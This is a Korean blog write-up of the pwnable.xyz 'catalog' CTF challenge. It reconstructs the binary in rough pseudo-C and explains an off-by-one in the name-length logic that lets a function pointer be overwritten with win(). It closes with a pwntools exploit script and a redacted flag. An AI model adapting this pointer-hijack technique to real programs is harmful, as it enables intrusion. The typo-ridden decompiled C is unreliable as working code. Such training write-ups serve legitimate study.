[pwnable.xyz] catalog write up
글 작성자: Universe7202
pwnable.xyz 26번째 catalog 문제이다.
Analyze
문제의 바이너리에 사용자 정의 함수를 보면 아래와 같다.
ubuntu:~/environment/ctf/pwnable.xyz/26_catalog $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
edit_name
handler
main
print_menu
print_name
read_int32
setup
win
write_name
gdb로 바이너리를 분석하여 c로 나타내면 아래와 같다.
/*
gdb-peda$ x/50gx 0x0000000000602280
0x602280 <catalog>: 0x0000000000603260 0x0000000000000000
0x602290 <catalog+16>: 0x0000000000000000 0x0000000000000000
0x6022a0 <catalog+32>: 0x0000000000000000 0x0000000000000000
0x6022b0 <catalog+48>: 0x0000000000000000 0x0000000000000000
0x6022c0 <catalog+64>: 0x0000000000000000 0x0000000000000000
0x6022d0 <catalog+80>: 0x0000000000000000 0x0000000000000000
0x6022e0 <catalog+96>: 0x0000000000000000 0x0000000000000000
0x6022f0 <catalog+112>: 0x0000000000000000 0x0000000000000000
0x602300 <catalog+128>: 0x0000000000000000 0x0000000000000000
0x602310 <catalog+144>: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/20gx 0x0000000000603260
0x603260: 0x0000000a41414141 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000000
0x603280: 0x0000000000000005 0x00000000004009b6
0x603290: 0x0000000000000000 0x0000000000020d71
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void print_menu(){
printf("Menu:\n 1. Write name\n 2. Edit name\n 3. Print name\n 0. Exit\n> ");
}
void write_name(){
long *addr = malloc(0x30); // rbp-0x8
int count = 0; // rbp - 0xc
for(;;count++){
if(!catalog[count*8])
break;
}
catalog[count * 8] = *addr;
*(*addr + 0x28) = &print_name();
*(*addr + 0x20) = 0x20;
edit_name(*addr);
int len = strlne(*addr);
*(*addr + 0x20) = len;
}
void edit_name(long *addr){
printf("name: ");
read(0, *addr, (*addr + 0x20));
}
int read_int32(){
read(0, rbp-0x20, 0x10);
return atoi(rbp-0x20);
}
void print_name(long *addr){
printf("name: %s\n", *addr);
}
int main(){
while(1){
print_menu();
int select = read_int32(); // rbp-0xc
if(select == 1)
write_name();
else if(select == 2){
int count = 0;
for(;;count++){
if(!catalog[count*8])
break;
}
printf("index: ");
int index = read_int32(); // rbp - 0x8
if(0 <= index && index < count)
edit_name(catalog[index * 8]);
else
puts("Invalid index");
}
else if(select == 3){
int count = 0;
for(;;count++){
if(!catalog[count*8])
break;
}
printf("index: ");
int index = read_int32(); // rbp - 0x4
if(0 <= index && index < count){
long tmp = *(catalog[index * 8] + 0x28);
tmp(catalog[tmp * 8]);
}
else
puts("Invalid index");
}
else if(seelct == 0)
break;
else
puts("Invalid");
}
}
위 c코드에서 write_name() 함수와 edit_name() 함수에서 로직 에러가 발생한다.
write_name() 함수가 호출이 되면 기본으로 0x20 만큼 사용자 이름을 입력받게 된다.
void write_name(){
long *addr = malloc(0x30); // rbp-0x8
int count = 0; // rbp - 0xc
for(;;count++){
if(!catalog[count*8])
break;
}
catalog[count * 8] = *addr;
*(*addr + 0x28) = &print_name();
*(*addr + 0x20) = 0x20;
edit_name(*addr);
int len = strlne(*addr);
*(*addr + 0x20) = len;
}
이때의 메모리 구조는 아래와 같다.
빨간색은 처음 사용자가 입력 할 수 있는 공간이고, 노란색은 처음으로 입력 가능한 길이(0x20) 이다.
그 후 strlen() 함수가 호출 되기 전에는 사용자가 입력한 이름 값만 들어가 있고,
입력 가능한 길이는 변하지 않았다.
strlen() 함수 호출이 되서야 사용자가 입력 가능한 길이가 바뀌었다. (0x5)
여기서 로직 에러가 발생하게 된다.
만약 사용자가 0x20 만큼 입력한 뒤, strlen() 함수가 호출 되면 return 값은 0x21이 되어 버린다.
즉 사용자가 입력 가능한 값이 0x1 만큼 증가했다.
이때, edit_name() 함수를 호출하면 사용자는 0x21 만큼 입력이 가능하다.
void edit_name(long *addr){
printf("name: ");
read(0, *addr, (*addr + 0x20));
}
따라서 마지막 값을 원하는 길이로 맞추면 print_name() 함수의 주소를 win() 함수로 바꿀수 있게 된다.
Payload
from pwn import *
p = remote("svc.pwnable.xyz", 30023)
e = ELF("./challenge", checksec=False)
p.sendlineafter("> ", "1")
p.sendafter("name: ", "A"*0x20)
p.sendlineafter("> ", "2")
p.sendlineafter("index: ", "0")
p.sendafter("name: ", "A"*0x20 + '\x30')
p.sendlineafter("> ", "2")
p.sendlineafter("index: ", "0")
p.sendafter("name: ", "A"*0x28 + p32(e.symbols["win"]))
p.sendlineafter("> ", "3")
p.sendlineafter("index: ", "0")
p.interactive()
ubuntu:~/environment/ctf/pwnable.xyz/26_catalog $ python poc.py
[+] Opening connection to svc.pwnable.xyz on port 30023: Done
[*] Switching to interactive mode
FLAG{----------------------}Menu:
1. Write name
2. Edit name
3. Print name
0. Exit
> $
[*] Closed connection to svc.pwnable.xyz port 30023
'🚩CTF' 카테고리의 다른 글
[zer0pts 2020 CTF] hipwn write up (0) | 2020.03.09 |
---|---|
Aero 2020 CTF write up - aerofloat (0) | 2020.03.03 |
[pwnable.xyz] message write up (0) | 2020.02.25 |
[pwnable.xyz] rwsr write up (0) | 2020.02.25 |
[pwnable.xyz] bookmark write up (0) | 2020.02.25 |
댓글
이 글 공유하기
다른 글
-
[zer0pts 2020 CTF] hipwn write up
[zer0pts 2020 CTF] hipwn write up
2020.03.09 -
Aero 2020 CTF write up - aerofloat
Aero 2020 CTF write up - aerofloat
2020.03.03 -
[pwnable.xyz] message write up
[pwnable.xyz] message write up
2020.02.25 -
[pwnable.xyz] rwsr write up
[pwnable.xyz] rwsr write up
2020.02.25